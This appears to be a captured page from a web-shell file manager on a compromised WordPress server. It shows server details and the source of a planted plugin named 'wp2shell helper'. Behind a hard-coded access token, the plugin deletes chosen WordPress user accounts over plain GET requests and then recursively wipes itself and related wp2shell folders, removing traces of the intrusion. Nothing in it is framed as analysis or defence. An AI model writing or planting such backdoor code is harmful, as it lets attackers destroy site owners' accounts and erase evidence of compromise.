HEX
Server: nginx/1.16.1
System: Linux ecs-04358622 4.19.90-2107.6.0.0100.oe1.bclinux.x86_64 #1 SMP Wed Dec 1 19:59:44 CST 2021 x86_64
User: nginx (994)
PHP: 8.0.0
Disabled: NONE
Upload Files
File: /home/www/wp-content/plugins/wp2shell_5d9eaf68/wp2shell_5d9eaf68.php
<?php
/*
Plugin Name: wp2shell helper
Description: Temporary cleanup helper; no command execution.
*/
if (!hash_equals('2c3cb58d545500e5ea803b155ce66169', (string) ($_GET['t'] ?? ''))) { exit; }
if (isset($_GET['delete_user'])) {
    require_once dirname(__DIR__, 3) . '/wp-load.php';
    require_once ABSPATH . 'wp-admin/includes/user.php';
    $user = get_user_by('login', (string) $_GET['delete_user']);
    $ok = $user ? wp_delete_user((int) $user->ID, (int) ($_GET['reassign'] ?? 0)) : false;
    echo 'WP2SHELL::' . ($ok ? 'deleted' : 'failed') . '::END';
} elseif (isset($_GET['self_delete'])) {
    $dir = __DIR__;
    $state = 'failed';
    if (strpos($dir, 'plugins') !== false) {
        foreach (glob(dirname($dir) . '/wp2shell_*', GLOB_ONLYDIR) as $old) {
            if (basename($old) !== basename($dir) && count(scandir($old)) === 2) { @rmdir($old); }
        }
        $rit = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);
        $it = new RecursiveIteratorIterator($rit, RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($it as $f) { $f->isDir() ? @rmdir($f->getPathname()) : @unlink($f->getPathname()); }
        unset($it, $rit);
        clearstatcache();
        $left = array_diff(scandir($dir), array('.', '..', basename(__FILE__)));
        if (@rmdir($dir)) { $state = 'deleted'; }
        elseif (is_dir($dir) && count($left) === 0) { $state = 'files_only'; }
    }
    echo 'WP2SHELL::' . $state . '::END';
}